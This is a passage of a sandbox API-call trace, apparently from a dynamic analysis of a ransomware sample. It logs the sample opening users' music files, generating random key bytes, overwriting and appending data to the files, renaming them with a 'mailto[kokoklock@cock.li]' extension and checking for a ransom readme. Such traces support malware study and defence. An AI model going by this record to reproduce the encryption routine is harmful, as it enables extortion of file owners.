lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26b7fda0*=0x6c, lpOverlapped=0x0) returned 1 [0176.862] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26b7fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26b7fda0*=0x20, lpOverlapped=0x0) returned 1 [0176.862] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26b7fda0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26b7fda0*=0x4, lpOverlapped=0x0) returned 1 [0176.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d88) returned 1 [0176.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94db0) returned 1 [0176.862] CloseHandle (hObject=0x81c) returned 1 [0176.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fa0b10 [0176.862] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" [0176.862] wcscat (in: _Dest=0x2fa0b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.863] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\0_vjjirk trarvul_mv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.864] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.864] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0176.864] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.864] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f8ad90 [0176.864] wcscpy (in: _Dest=0x2f8ad90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.864] wcscat (in: _Dest=0x2f8ad90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0176.864] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0176.865] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ad90) returned 1 [0176.865] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c5a8) returned 1 [0176.865] RtlExitUserThread (Status=0x1) Thread: id = 2553 os_tid = 0x11d4 [0176.869] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.914] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x81c [0176.915] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x26bffaac | out: lpFileSize=0x26bffaac*=73336) returned 1 [0176.915] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x11e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.915] ReadFile (in: hFile=0x81c, lpBuffer=0x26bffa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x26bffa80*, lpNumberOfBytesRead=0x26bffa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.916] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.916] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d88 [0176.916] NtQuerySystemTime (in: CurrentTime=0x26bffa58 | out: CurrentTime=0x26bffa58*=132121213342362273) returned 0x0 [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x27e67b5d [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xfe091e30 [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xc50425fc [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xa10c4cdd [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xc3a78c72 [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xebf7a1b0 [0176.916] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x3da13025 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x6bfd65f7 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xd051a2f0 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x64f73e0c [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x21657577 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x93aae6e3 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xba68a626 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xb0c15592 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x50723689 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xc1813b52 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x8b43ac3f [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x3e246910 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x123f7585 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x8618bb26 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xfd7e27ba [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x84308d2d [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x437b5a4d [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x69d73db4 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x6e65be2a [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x5d63fe99 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x98eadc1b [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x690ee6ba [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x6484f4f4 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x211c7f9 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0xd1481376 [0176.917] RtlRandom (in: Seed=0x26bffa64 | out: Seed=0x26bffa64) returned 0x776d54 [0176.928] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.928] ReadFile (in: hFile=0x81c, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x26bffa30, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x26bffa30*=0x4096, lpOverlapped=0x0) returned 1 [0176.930] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0176.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88898 [0176.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.930] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e00 [0176.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0176.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88898) returned 1 [0176.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0176.930] WriteFile (in: hFile=0x81c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x26bffa30, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x26bffa30*=0x4096, lpOverlapped=0x0) returned 1 [0176.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.931] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x11e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.931] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26bffa68, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x26bffa68*=0x20, lpOverlapped=0x0) returned 1 [0176.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0176.931] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94dd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f94dd8*, lpNumberOfBytesWritten=0x26bffa7c*=0x8, lpOverlapped=0x0) returned 1 [0176.931] WriteFile (in: hFile=0x81c, lpBuffer=0x26bffa94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x26bffa94*, lpNumberOfBytesWritten=0x26bffa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.931] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26bffa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.931] WriteFile (in: hFile=0x81c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26bffa7c*=0x6c, lpOverlapped=0x0) returned 1 [0176.931] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26bffa7c*=0x20, lpOverlapped=0x0) returned 1 [0176.932] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26bffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26bffa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.932] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.932] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94db0) returned 1 [0176.932] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94dd8) returned 1 [0176.932] CloseHandle (hObject=0x81c) returned 1 [0176.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2fa0b10 [0176.932] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" [0176.932] wcscat (in: _Dest=0x2fa0b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.932] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.933] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0176.933] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.933] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f8ad90 [0176.933] wcscpy (in: _Dest=0x2f8ad90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.933] wcscat (in: _Dest=0x2f8ad90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0176.933] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0176.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ad90) returned 1 [0176.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84f18) returned 1 [0176.933] RtlExitUserThread (Status=0x1) Thread: id = 2554 os_tid = 0x11d8 [0176.935] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.935] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x81c [0176.936] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x26c7fa74 | out: lpFileSize=0x26c7fa74*=46366) returned 1 [0176.936] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0xb51a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.936] ReadFile (in: hFile=0x81c, lpBuffer=0x26c7fa48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x26c7fa48*, lpNumberOfBytesRead=0x26c7fa44*=0x4, lpOverlapped=0x0) returned 1 [0176.937] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94db0 [0176.937] NtQuerySystemTime (in: CurrentTime=0x26c7fa20 | out: CurrentTime=0x26c7fa20*=132121213342518249) returned 0x0 [0176.937] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xfb7d3bb9 [0176.937] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x51d63274 [0176.937] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x27b3641a [0176.937] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x2bdaee35 [0176.937] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x7c03abd9 [0176.937] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x6e22060a [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x96bd0f5e [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x8017687c [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x3dd252c8 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x4d919831 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x3d27df8b [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xe99ef261 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xb43f80a9 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x2101f2a [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x608d11fb [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x41b348ea [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xcced9053 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x3f531fd9 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xb76fdb58 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x720b270b [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xda085aaf [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xb6cceb7e [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x99a057d2 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xb6bc319b [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xca91e451 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xb62085bc [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x4d1b147f [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xa860b5aa [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0xfb645ad9 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x1865705a [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x631d2c42 [0176.938] RtlRandom (in: Seed=0x26c7fa2c | out: Seed=0x26c7fa2c) returned 0x697e6c70 [0176.950] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.950] ReadFile (in: hFile=0x81c, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x26c7f9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x26c7f9f8*=0x4096, lpOverlapped=0x0) returned 1 [0176.950] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0176.951] 